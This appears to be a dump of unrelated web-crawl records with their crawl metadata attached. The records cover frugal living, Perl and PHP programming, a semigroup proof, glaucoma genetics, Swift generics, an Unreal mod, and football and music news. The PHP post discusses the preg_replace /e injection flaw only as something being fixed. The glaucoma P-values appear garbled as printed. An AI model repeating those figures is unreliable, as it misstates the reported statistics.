I mailed something at the little postal station at the grocery store. Angela, who works there, asked how my back was. She recommended a cortisone shot. Then I noticed piles of peppers (red, yellow, and poblano) on the reduced shelf. 39 cents a pound.
Since I was right there, I nipped into Big Lots. The nice lady who puts out the food said that nothing special had come in. So that saved me some time.
My mother is visiting. She and Mr. FS just went off to Acme Oyster Bar, an iconic New Orleans restaurant, which has an outpost here. They have an oyster special: 25 cents an oyster between 3 and 5, Monday - Thursday. Sadly, I don't like oysters.
What a frugal day!
Do you think small towns are conducive to frugality?
Over the Cubicle Wall said...
Not sure, because I have never lived in a small town.
Do you not like any oysters, or just raw oysters? The char broiled oysters at Dragos are delicious!
Shelley said...
I've not lived in a small town either. However, I do live in a suburban area between a village and a town (they are picky about the difference here in England), about 10 miles east of a city. The fact that I can walk the mile to the town or the half mile to the supermarket or the quarter mile to the village means that I don't actually have to have a car to meet my daily needs. Having to carry things home when I'm walking certainly makes me a lot pickier about what I buy!
Funny about Money said...
LOL! Around here they are, because there's nothing to buy! You can't even buy a decent piece of cheese in an Arizona small town, and there certainly are no oyster bars. Or Big Lots.
Fact is that while there are few stores and little to do in most of Arizona's wide spots in the road, it can actually be more expensive to live there. Gasoline is high because it has to be trucked there. Utility suppliers have no competition, and so costs are higher there than in cities with two utility companies. Propane is extremely high, so if you heat your house with that, your bills are through the roof. And the one grocer in town can charge whatever the market will bear. If you live in Yarnell, Congress Junction, Kirkland Junction, Peeple's Valley, or waypoints, you have to drive into Phoenix to buy groceries and supplies at stores where the prices are affordable. There's a Costco in Prescott, but that assumes you can afford to shop in Costco. Unless you work for the state or the feds, you probably can't, because there are no jobs in such towns. Both these cities are an hour's drive from Yarnell, at $3/gallon.
I think small towns can keep you more or less honest -- or at least make you behave discretely when you're up to something -- because everybody knows everybody else's business. But you pay for the privilege. ;-)
Frugal Scholar said...
@Cubicle--Sadly, no oysters in any form. Or fish. Isn't that awful? I do like shrimp and crawfish though.
Duchesse said...
Grew up in a town of 6.000 where everyone knew my parents. Dad forbade Mom to buy at the bakery outlet because "that is for people who need it". (She would pull up in a Cadillac.) Ditto sales in the chic summer shops. She could buy at sales IF she had also bought at full price during the season. As a professional who billed people for his services, he did not want a reputation for being cheap.
Anyone living in a small town (except a hermit) gets some kind of reputation, which sticks. And the gossip! Little confidentiality re prescriptions, credit ratings or the like.
于名于名 said...
metscan said...
I´m living in a small village, just outside our capital city. I´m not quite able to answer your question, since I´m so frugal, that I hate spending my money on food ; ). My hb does the food shopping. I have noticed that the locals buy larger amounts of everything. The shopping cart of their´s differs very much from mine.
Duchesse said...
Furgal. I'm curious about your comment about "hating spending money on food", as it's so different from both your willingness and standards in other areas- art, clothes, jewelry. Do you have any sense of why that is?
Duchesse said...
OOps that comment was for metscan, not you, Frugal- thoug it is of tinerest to me why we all haveo ut areas where we are willing to spend and others in which we are fugal or beyond. (For me, it is winter boots, I cannot stand to spend here.)
Frugal Scholar said...
@Shelley--My dream is to live in a walkable city...with one of those grocery carriers with wheels---like grandma used to have.
@Funny--I guess not THAT small.
@Duchesse--I am kind of a marginal figure here, since I didn't grow up here. So maybe that's why I can fly under the radar. I think a lot of the locals live under surveillance such as you describe---ugh.
@metscan--I love grocery shopping and don't allow my husband to do it. You are lucky to have such an obliging mate.
@Duchesse--One of us should do a post on that--I will if you don't want to. | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '46', 'language_id_whole_page_fasttext': "{'en': 0.9741286635398864}", 'metadata': "{'Content-Length': '109164', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:DJOMIRDR624RECT7RF6EAVHU6SI23KD7', 'WARC-Concurrent-To': '<urn:uuid:8ced1e52-db0d-43cb-b7f7-87c2090cc689>', 'WARC-Date': datetime.datetime(2015, 1, 25, 3, 46, 50), 'WARC-IP-Address': '74.125.228.12', 'WARC-Identified-Payload-Type': None, 'WARC-Payload-Digest': 'sha1:6MXGBAALXVAERSH6VJNPARGH2N3YBN6X', 'WARC-Record-ID': '<urn:uuid:23663e37-9a9a-45c6-bda4-1e403c855d75>', 'WARC-Target-URI': 'http://frugalscholar.blogspot.com/2010/04/frugal-moments-in-small-townoysters-and.html?showComment=1270475070217', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:06c5c44c-af17-4c15-bb7f-17243e16a79a>', 'WARC-Truncated': 'length'}", 'previous_word_count': '981', 'url': 'http://frugalscholar.blogspot.com/2010/04/frugal-moments-in-small-townoysters-and.html?showComment=1270475070217', 'warcinfo': 'robots: classic\r\nhostname: ip-10-180-212-252.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2015-06\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for January 2015\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.259133517742157', 'original_id': '4c6fc2c1813254f092d7785163701c5cd515b2cd104f6cf680c3bb96801a9065'} |
Slash Boxes
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• But they don't accept Perl as a solution only Java and C++!!!!!
That sucks!!!!
Check it out here []!
• Well, it doesn't explicitly say that only C++ and Java are acceptable, though it does imply it. You can also list required software packages; so just require Perl :) There's no reason you can't write a Makefile that would "compile" and install your Perl script - that seems to be the only major requirement. And I'm sure if enough people complained, they might add Perl. So start your letter-writing now! :) | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '28', 'language_id_whole_page_fasttext': "{'en': 0.9409716725349426}", 'metadata': "{'Content-Length': '24548', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:ZZTBLBMI6M2YSKSK55OH5ISJCJFO5JAD', 'WARC-Concurrent-To': '<urn:uuid:d49d3cf3-826c-4d2b-9900-f62e9a7e02cf>', 'WARC-Date': datetime.datetime(2016, 6, 30, 23, 3, 35), 'WARC-IP-Address': '216.34.181.97', 'WARC-Identified-Payload-Type': None, 'WARC-Payload-Digest': 'sha1:6FZP4A6VHNTKJXYORY5OQVVWL4UEQKH7', 'WARC-Record-ID': '<urn:uuid:1cd94322-d19a-42d0-9d41-ec991aaf0aa8>', 'WARC-Target-URI': 'http://use.perl.org/use.perl.org/commentse23f-2.html?cid=4189', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:04f4db1f-48e1-4a9d-993e-9120ccba4b3a>', 'WARC-Truncated': 'length'}", 'previous_word_count': '147', 'url': 'http://use.perl.org/use.perl.org/commentse23f-2.html?cid=4189', 'warcinfo': 'robots: classic\r\nhostname: ip-10-164-35-72.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-26\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for June 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.05834895372390747', 'original_id': '7ce47b6cf8b8aa5165c171cf6a5d060585c976e184ecfd251c69b0d7aa570964'} |
The other blog manager
SVN tag, 2 post(s)
Feed Rss, Atom
Dealing with boolean options
Now, I'm dealing with the control panel. You see, some option values are boolean (that is TRUE or FALSE, YES or NOT). Currently this is managed by a text input field where your should write 1 or 0 depending you want activate or deactivate that option. Really ugly and confusing. What happens if you put 2, or 134? Actually, an error message appears.
I'm replacing all that fields by selection lists with Yes or No values, which are less confusing and also avoids configuration errors. I would use checkboxes but that would need to change current validation code.
Some SVN updates
May be I should tell to you that the preg_replace /e option issue is on the way to be fixed.
What's the /e option issue
It is fully explained in this page, but basically the /e option is added at the end of the regular expression to tell to function preg_replace it must call to a function with every result of the search.
The problem appears when it is used to format or validate data sent by user to be displayed in a page. In that case it can be used to inject PHP code. A fast fix is to substitute preg_replace by preg_replace_callback. Another fix is to use other algorithms or code to do the work.
What I'm doing to fix it
I'm doing a simple update to the Gesbit core to fix it. In some cases I've updated some third party libraries that fixes this issue by themselves. In other cases I've modified several core lines. This last cases I'm doing the "fast fix" I talked previously.
I didn't test all them so may be they don't work properly at the moment. If you find any issue, please tell me. | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '0', 'language_id_whole_page_fasttext': "{'en': 0.886472225189209}", 'metadata': "{'Content-Length': '11119', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:G335BEVNVZWIGGMZ2P65FMFJO4VQBCG3', 'WARC-Concurrent-To': '<urn:uuid:0ca4223f-e771-4f6a-8618-a0ce91e5d266>', 'WARC-Date': datetime.datetime(2017, 4, 26, 0, 4, 23), 'WARC-IP-Address': '216.34.181.96', 'WARC-Identified-Payload-Type': None, 'WARC-Payload-Digest': 'sha1:NQHQ54ONMXNDSUA6TGWPGP6PC3O5XOBE', 'WARC-Record-ID': '<urn:uuid:527d5973-68d6-4990-83fa-27128d7827b7>', 'WARC-Target-URI': 'http://gesbit.sourceforge.net/tag/svn/', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:53a171e6-60b6-41c5-a552-6f2546d1940f>', 'WARC-Truncated': None}", 'previous_word_count': '304', 'url': 'http://gesbit.sourceforge.net/tag/svn/', 'warcinfo': 'robots: classic\r\nhostname: ip-10-145-167-34.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2017-17\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for April 2017\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.12182348966598511', 'original_id': 'ddf77dde2e1849191af455c2b287f90e43be4e1fadf7560e4254634ec7d01324'} |
\section{Powers of Semigroup Element Commute}
Tags: Semigroups, Commutativity, Powers (Abstract Algebra), Index Laws
\begin{theorem}
Let $\struct {S, \odot}$ be a semigroup.
Let $a \in S$.
Let $m, n \in \Z_{>0}$.
Then:
:$\forall m, n \in \Z_{>0}: a^n \odot a^m = a^m \odot a^n$
\end{theorem}
\begin{proof}
From Index Laws for Semigroup: Sum of Indices:
:$\forall m, n \in \Z_{>0}: a^{n + m} = a^n \odot a^m$
But from Integer Addition is Commutative:
:$n + m = m + n$
So:
:$a^n \odot a^m = a^{n + m} = a^{m + n} = a^m \odot a^n$
{{Qed}}
\end{proof}
| math_pile | {'subset': 'ProofWiki', 'meta': "{'type': 'Theorem_Proof'}", 'original_id': 'dc9555b29f7d7d491d24986d9edef5fdc9d8544b798f7a530ecf3592f1858f0e'} |
Sunday, October 05, 2008
Not worth investigating. But...
1. about paragraphs in speech: Some guy at work just informed me that he thinks about how he would punctuate anything he says.
I cannot conceive of that actually being true, regardless of whether he really thinks it is.
2. There you go with politics again! ;)
3. For me, the most interesting thing about the vice presidential candidate's speech habits is how analysts treat the colloquialisms favored by Palin. I've also noticed that she shares a lot of verbal habits with the current president but receives an entirely different kind of criticism and/or praise. Just some observations!
Word Watcher
4. Did you see the post at Motivated Grammar about this? He makes some good points about how you decide what is a compound sentence and what's two or three simple ones, in speech, and how that affects the score. One of his examples:
That is a hard sentence to understand, not because any of the words are difficult, but rather because the syntax is extremely complex. This is reflected by its grade level, which according to Google Docs is 9.0. But if we split the sentence in two by replacing the comma with a period, the grade level plummets to 3.0, because each of these two sentences is short, with short words."
5. I saw that fine piece. And it's precisely the type of follow-up post that I hinted at in my footnote.
(link to the thoughts at Motivated Grammar)
Thanks for reaching out.
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Genomic meta-analysis across patient DNA of European ancestry uncovers three additional genetic loci behind glaucoma
Research conducted by an international consortium of ophthalmic genetic specialists has reported the identification of a further three loci believed to contribute to the pathology of primary open angle glaucoma. In a significant publication in the journal Nature Genetics, the researchers reported the results of a meta-analysis on the genome-wide association study results of eight independent analyses from the United States (3,853 cases and 33,480 controls), Australia (1,252 cases and 2,592 controls), Europe (875 cases and 4,107 controls) and Singapore (1,037 cases and 2,543 controls). The meta-analysis of the top single nucleotide polymorphisms identified three new associated loci: rs35934224[T] in TXNRD2 (odds ratio (OR) = 0.78, P = 4.05 × 1011) encoding a mitochondrial protein; rs7137828[T] in ATXN2 (OR = 1.17, P = 8.73 × 1010); and rs2745572[A] upstream of the FOXC1 gene (OR = 1.17, P = 1.76 × 1010).
The study, funded by the US National Eye Institute (NEI), a division of the National Institutes of Health (NIH), suggests that the total number of genes behind the most common form of glaucoma now totals 15. The three newly identified regions include polymorphisms around ATXN2, TXNRD2 and FOXC1. SNPs in the ATXN2 region are located in genomic sequences enriched for enhancers in lymphoid cells, especially in an SP1 transcription factor binding site and in an ESR2 (estrogen receptor 2) binding site. 22 SNPs in the TXNRD2 region appear to be significantly enriched for enhancers and DNase I hypersensitivity sites. According to the researchers, the reported regions had not been previously associated with POAG or with glaucoma-related quantitative traits, optic nerve parameters or IOP.
Of the genomic regions identified each had previously been associated with neurobiology. ATXN2 has been associated with spino-cerebellar ataxia 2 with optic atrophy, while a particular region of the same gene has been associated with retinal venular caliber in individuals of European descent. TXNRD2 encodes the mitochondrial protein thioredoxin reductase 2 which is understood to reduce the levels of reactive oxygen species generated by oxidative phosphorylation in the mitochondria, previously proposed as a cause of retinal ganglion cell dysfunction. Finally, FOXC1 is a member of the forkhead family of transcription factors, previously identified as a cause of anterior segment dysgenesis and early-onset glaucoma with dominant inheritance. In conclusion the authors claim that, “these genes suggest new pathways that may contribute to glaucoma development, including abnormal ocular development (FOXC1), neurodegeneration (ATXN2) and mitochondrial dysfunction secondary to accumulating reactive oxygen species (TXNRD2). Targeting these pathways could lead to effective and potentially preventative glaucoma therapies.” | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '24', 'language_id_whole_page_fasttext': "{'en': 0.9083316922187804}", 'metadata': "{'Content-Length': '53672', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:W7G62UAZMVW5HHZA7S3OAWNE6OWFNLEQ', 'WARC-Concurrent-To': '<urn:uuid:6a00879d-3f32-4238-a9a8-6a92a68c0ecd>', 'WARC-Date': datetime.datetime(2022, 11, 27, 2, 27, 4), 'WARC-IP-Address': '172.67.70.180', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:PL3C62RTLTYUC6CZRHC5ULUTKHNZHARB', 'WARC-Record-ID': '<urn:uuid:9de3f166-9967-418a-b756-ecf2a25e154d>', 'WARC-Target-URI': 'https://brief.euretina.org/research/genomic-meta-analysis-across-patient-dna-of-european-ancestry-uncovers-three-additional-genetic-loci-behind-glaucoma', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:dbf7ad4e-1ebd-46fe-b1fc-17e55a66a526>', 'WARC-Truncated': None}", 'previous_word_count': '407', 'url': 'https://brief.euretina.org/research/genomic-meta-analysis-across-patient-dna-of-european-ancestry-uncovers-three-additional-genetic-loci-behind-glaucoma', 'warcinfo': 'isPartOf: CC-MAIN-2022-49\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2022\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-67-67-127\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.03579103946685791', 'original_id': 'e2b36961517006db79b44cc65cc33b52d11beccac188e2c16951e7e172024f69'} |
Yesterday’s post was good. But what’s coming up now is even better.
The context
Imagine that, due to requirements, you need to have an insane amount of different classes (i.e views) that contain text labels. And you need to be able, due to requirements again, to customise some of those text labels. Not all of them, only some of them. And the funny thing is that you don’t even know which ones.
In other words, you need to provide a default behaviour that needs to be applied to an indeterminate amount of types, but that can be customised for some specific types.
Don’t you love being a software engineer?
The difficult solution
Sexy software engineers do not whine. Sexy software engineers roll their sleeves up, reach for the toolbox, consider all the tools available and implement the simplest thing that could possibly work. Or, like in this case, the simplest thing that could possibly work, while being scalable and maintainable enough.
And here is where protocol extensions com to the rescue again. This time, with a little twist: Generics.
First, we have our view. (for the shake of the example, let’s call it BaseClass)
Now, we have two different subclasses. Both do the same (again, for the shake of the example, in real life those two subclasses may or may not create the same amount of labels)
What is it that we want? We want a certain behaviour to be the default.
So, again for the shake of the example, let’s say we have a Label:
Here is the neat part. First we declare a Generic protocol:
We enforce Label to implement it, via an extension. Notice how we set the item type as the base class. Why the BaseClass? Because this would be the default behaviour applicable to all subclasses of BaseClass
Now, let’s assume that we want one of the methods in the protocol to have a specific implementation when the type passed to it is SubclassB. An specific extension will do it:
So, if we create an instance of SubclassA and another instance of SubclassB, the this would be the trace:
Final words
Protocol extensions are very powerful. We can use them to provide a default implementation of a protocol, and specialise that implementation for an specific type, either by applying the extension to types that comply to an specific condition (relying on the where clause) or by specifying the type of parameters that we want in the methods part of the protocol.
Leave a Reply
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The Hamilton Mixtape Set to Top the Billboard Chart
Mia Kobylski, Reporter
Email This Story
A mixtape of the original Hamilton soundtrack, entitled, The Hamilton Mixtape, was made by popular artists and the creator of the musical, Lin-Manuel Miranda.
Hamilton is an acclaimed Broadway musical with a unique soundtrack to accompany it.
Lin-Manuel Miranda, the creator of Hamilton, also starred as Alexander Hamilton on Broadway. Photo from
The soundtrack is not typical of a musical, as the songs fall into the hip hop, R&B and rap genres.
The album was released on December 2, and the new album is set to top the previous record and be number one on the Billboard chart.
Changes made to create the mixtape include more rapping, different singing styles, new arrangements and entirely new songs not featured on Hamilton.
Those who have listened to both the original and the mixtape, such as sophomore Megan Watkins, see some aspects of the mixtape as better than the original.
“I think some songs are better. They edited a bunch of songs and added different verses,” said Watkins. “I think I saw something where Lin-Manuel Miranda said that he allowed the artists… to add their own lyrics. It’s different, but a good different.”
Artists featured on the mixtape include: Nate Ruess, Andra Day, Kelly Clarkson, Jimmy Fallon, John Legend and Usher, along with many others.
The Hamilton Mixtape album cover.
On the track, there are songs that capture the Revolutionary time period, such as Revolutionary War battles, while other songs talk about current events like immigration.
Although there are both historical songs and current songs, listeners can relate to the lyrics, and even those who are not fans of Broadway are finding themselves jamming along to the track.
The original Hamilton cast recording album cover.
Social Studies teacher Andy Warren attributes the musical’s success to the diverse music styles and modern interpretations.
“I think the original musical as well as the mixtape have been so successful because they have taken a story that some people are familiar with and told it in such a fresh and innovative way by incorporating modern music …,” said Warren. “This is truly a music listening experience that has a little something for everyone.”
The Hamilton Mixtape, and also the original Hamilton, can be downloaded or found on Apple Music, and Spotify, and some songs are on YouTube.
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Don't hurt PSU students
Letters to the Editor By Letters to the Editor
on November 20, 2011 at 2:30 AM
The students of PSU are a class act. They did nothing wrong except demonstrate, in an unprecedented response, their concern for the victims of the child sexual abuse scandal.
Why should they suffer the consequences of the fallout that has overshadowed what PSU has always been about? They have not lost their integrity; the administrators of the university have.
The Penn State student body deserves more consideration. They are Penn State.
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How to Read a Textbook: Math and Science Textbooks in 4 Easy Steps
Loring Schaible
February 10, 2021
Step #1
Go to the end of the chapter and read the chapter summary carefully. This is like the book summary on a novel, it tells you the boiled-down essence of the chapter. In the end, all you’re going to remember are key points, so start here to prime yourself for what you are about to learn.
Step #2
Start to read the chapter and take notes!
Make notes in your own words/notation. However you understand the material (as long as its correct) is more important than how the textbook explains it!
Textbooks are generally very dense and reading every word is time consuming and taxing. Skimming lets you get the big ideas without devoting so much to what is really not all that important. DONT READ EVERY WORD.
Keep a computer/phone handy to look up ideas/words if you need. I don’t read anything – novels, textbooks, anything – without a device to look things up.
Write down key equations and define all the variables in whatever terms make most sense to you. It’s okay to not fully understand it when you take the notes, you will understand them as you use them.
If you are at all a visual learner, look at the figures to understand the concepts. If it is a graph, give some time to looking at the axes and what they mean.
BOLD/ITALIC/LARGE-PRINT WORDS are stressed for a reason: they are probably specific jargon that you will need to know!
Embedded in the text (often set-aside in boxes or something), these problems almost always build very gently on the concepts just discussed. These guys are good way to test your understanding of the concept. If you get it, great, move on. If not, return to the concept and work through the example until you get it.
Step #3
When you’re done reading the chapter, re-do the example questions at the back of the book that you did to start. See if they now make more sense.
Step #4
Look at your notes again and see if there are any improvements you can make: clearer ways to explain things, condense ideas further, better definitions, etc. Make those improvements. The chapter summary is a good indicator of what your notes should contain. | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '0', 'language_id_whole_page_fasttext': "{'en': 0.931743860244751}", 'metadata': "{'Content-Length': '58889', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:SM653OPRWABOHSP2VCD2N4E6YGSZWIO7', 'WARC-Concurrent-To': '<urn:uuid:c050f135-6abc-4141-b87d-2525989379f0>', 'WARC-Date': datetime.datetime(2021, 6, 22, 23, 31, 18), 'WARC-IP-Address': '35.208.70.82', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:CJ7KUXGLLEKVOWY3NETLVFDKFWUXAGZ6', 'WARC-Record-ID': '<urn:uuid:bc1e200e-5d56-4156-a8a7-f91f12947160>', 'WARC-Target-URI': 'https://granitetestprep.com/how-to-read-a-math-textbook/', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:ac43e815-d98a-4e4c-a9dc-d476fafc5938>', 'WARC-Truncated': None}", 'previous_word_count': '393', 'url': 'https://granitetestprep.com/how-to-read-a-math-textbook/', 'warcinfo': 'isPartOf: CC-MAIN-2021-25\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June 2021\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-67-67-187.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.035332441329956055', 'original_id': '0510fbfcef021ecc106fad8b641216fdae4400b667c1bfeb5545237f77287329'} |
Subject:
You don't happen to have a vague especulation on what you have and still need to do, obviously some in modeling and the scripting/debugging, but in what else and in what quantities do you expect you still need to do?
Subject:
Models, Sub Levels, Code, Voices, effects, ect. The game will actually use a lite version of the core RD codebase. There's also going to be a desktop executable, unlockable content, and a ton of new things (combat effects, weapons, ladders, emitters, projectors, and more...if we can juggle it all). I also am pushing for a functional Achievements system similar to contemporary games, a first for Unreal SP. Most of this stuff works, it's just the last bits of subleveling and model work that's taking most of our time. I'm mapping, Diamond is modeling/animating with help from Kaka, and Raven's debugging all the crap I'm dumping on him (making a functional melee system, human adversaries that aren't bots and are as distinctive as Skaarj or Krall).
In a lot of ways DC is going to be a testrun of how I want to present Residual Decay.
Subject:
Conceptual grandness =/= huge open maps. DC is pretty much teeming with conceptual grandness (I still think this is a hilarious term). It's one of the most unique mods I've ever seen made for ANY game engine.
Subject:
Dead Cell being a mini RD is a good idea, it practically gives people an RD taster, which is needed as I guess it's going to be a long wait for RD itself. Also, achievement systems are cool, it gives you more reasons to replay the game and also gives you a sense of... achievement.
Subject:
LOL_Peantus wrote:rom the screenshots, it looks like the arena is going to be a lot like a deathmatch map, with little space for conceptual grandness. I do hope I'm mistaken.
Waffnuffly wrote:Conceptual grandness =/= huge open maps. DC is pretty much teeming with conceptual grandness (I still think this is a hilarious term). It's one of the most unique mods I've ever seen made for ANY game engine.
If DC looks a little like a Deathmatch situation in the screenshots then it's probably because of three reasons;
1. The game uses the Kraden set exclusively, which is (as far as I know) a first in Unreal SP. The set is normally associated with Multiplayer levels (although I personally find its potential for a distinct SP game alluring).
2. The screenshots show some UT guns, such as the Impact Hammer and Chainsaw. I think people see these weapons and just automatically get that Unreal Tournament image stuck in their head.
3. The premise can be misleading...
The screenshots show rooms and hallways with the same theme in each. This is really a consequence of how Dead Cell is made. You are inside a series of confined chambers (a maze of sorts), all of a nonspecific origin. There is no sky, no windows, and no sense of what lies beyond the walls and ceilings. That is really the point. This may not lend so well in terms of screenshots (which is why there isn't many), but I assure you...the nature of the gameplay could not be farther from the style necessary for deathmatch.
Yes, the description of the game reads like this, "you play in an enclosed arena with several other human characters and you have to fight each other in a no holds barred." Yeah that sounds a lot like Deathmatch, doesn't it? I'm sure showing screenshots of bots and UT weapons doesn't help how the picture is painted. There's really no way I can remedy this until the current batch of content is ready for public consumption (including a trailer possibly). No amount of screenshots can really convey just how this thing is going to be. I've taken the liberty to expand on the style some on the website, under the Dead Cell section, but I guess everyone thinks I highlight the title as some kind of subliminal form of viral marketing
Legendslayer222 wrote:Dead Cell being a mini RD is a good idea, it practically gives people an RD taster, which is needed as I guess it's going to be a long wait for RD itself. Also, achievement systems are cool, it gives you more reasons to replay the game and also gives you a sense of... achievement.
It's that, yes. Replay value. But it's also because there are different ways you can play this, and the difficulty filter is really different from what Unreal players are used to. You start off with only two unlocked difficulty tiers; easy and hard. The other two have to be obtained (or to say it better, earned). One difficulty is unique in that it prevents you from saving your game (meaning you have to play the whole game in one shot without dying, in true survivalist fashion). This provides a lot of ways to grade the player for how they perform, keeping track of their styles, behaviors, their inventory consumption and how those items or used, or not used. But I generally like the ones that go above and beyond. I don't particularly like games that hand out Achievements as if they were handing out "Good Effort!" ribbons at the Special Olympics. You all know what I'm saying...getting a pat on the back for opening a door for the first time or simply for playing the game in any capacity. I'd like to present a list of Achievements for DC (and for Residual Decay, when the time comes) that actually ask the player to...you know...achieve stuff. For example, beating the Facility level in GoldenEye on 00 Agent is all well and good. But beating it on 00 Agent in under one minute and twenty seconds to unlock the invincibility cheat...the game's coveted "hardest" unlockable...is an act worthy of gloating.
Subject:
Here's a WIP sample of what the DC menu is going to look like. We're adopting the classic Unreal style, with this going over a flyby.
EDIT: Just to clarify, the two vertical backdrops are actually the one backdrop, while both images represent graphical changes between pages (options, difficulty, ect). That was probably clear, but I explained it anyway.
Last edited by Mister_Prophet on 22 Mar 2010, 23:20, edited 2 times in total.
Subject:
We basically adapted it into every facet of the story and interface, yeah. It's just a unique set to use for a SP (not to mention unconventional), and over the course of the development it's come to represent Dead Cell itself. I want players to feel like they can't escape the yellow. Plus, it helps that nobody has even thought of touching this set yet for SP.
Subject:
We basically adapted it into every facet of the story and interface, yeah. It's just a unique set to use for a SP (not to mention unconventional), and over the course of the development it's come to represent Dead Cell itself. I want players to feel like they can't escape the yellow. Plus, it helps that nobody has even thought of touching this set yet for SP.
You'd better release it, then, before somebody else desides that it would be a great idea to do so. | mini_pile | {'original_id': '1d474826b7f9c467ca811a539f9c0ad79e73742ae2d3d431d533a527fa6ee43e'} |
Arda Turan: Barcelona star handed jail term after nightclub scuffle
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Arda Turan: Barcelona star handed jail term after nightclub scuffle
- Arda Turan has been sentenced to 32 months jail term following a nightclub brawl
- Turan was involved in a fight with Turkish singer Berkay Sahin in an Istanbul nightclub last year
- The midfielder is currently on loan with Turkish club Basaksehir
Arda Turan, Barcelona star, has been handed a 32-month jail term after a nightclub row.
According to Mirror citing Turkish newspaper Haberturk Turan, the Barca ace was sentenced to two years and eight months behind bars for illegal possession of firearms.
READ ALSO: Marcelino Garcia: Valencia announce sacking of Spaniard as manager
READ ALSO: Patrice Evra makes return to Man United as he sets eyes on coaching career
After his sentence, the court opted to defer the verdict, meaning the midfielder would not head to the prison yet unless he is involved in a related incident in five years.
Turan is on loan with Turkish Super Lig side Basaksehir, but was involved in a row with Turkish singer Berkay Sahin at an Istanbul nightclub late last year, leaving the musician with a bleeding nose.
READ ALSO: Gor Mahia fail to raise enough at funds drive for USM Alger trip
The football star was alleged to have attacked the pop star in a fight over the singer's wife.
Turan would later arrive at the hospital with a gun which he fired at the ground, causing panic.
Turkish TV station uploaded a video clip showing outside the nightclub aftermath of the incident and Turan was sighted leaving the club.
READ ALSO: Cristiano Ronaldo: Portuguese talisman becomes first player to score against 40 different countries
The footage also shows Turan entering the hospital and in discussions with someone, before throwing an object down on the table.
Turkish newspaper Haberturk is claiming the pair clashed after Turan made provocative remarks to the singer's wife, Ozlem Ada Sahin.
Arda Turan: Barcelona star handed jail term after nightclub scuffle
Arda Turan during a clash against Besiktas in the Turkish Super Lig. Photo: Getty Images
Source: Getty Images
Turan completed a switch from Atletico Madrid to Barcelona for £30m in 2015, netting 15 times for the Catalan club, winning four trophies, as well as earning 55 appearances and winning four trophies.
He has previously plied his trade with Galatasaray before making his initial switch to the Spanish topflight in 2011.
The Man giving homeless people free hair cuts | Tuko TV
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With HDTV slowing becoming the standard in broadcast television, every company making TV tuners have started to make the shift. Just drop by any Best Buy, Fry's, or Circuit City, and you can already see HDTVs becoming the predominant television stock. The US government is vying for a complete overhaul of broadcast television to DTV (not the same as HDTV) by May 2006, which means that there is some time before your regular boob tube becomes an extinct species.
The home theater PC (aka HTPC) has always been a niche market, and just recently in the past couple of years, it has started to make strides into the mainstream, mainly with Microsoft pioneering their Media Center Edition OS. Currently, the PC market is the fastest growing field for TV companies, but this has several implications. Since the traditional TV market for the entertainment room has been basically fully developed, it means that TV products made for the PC market are always going to be a bit behind the first.
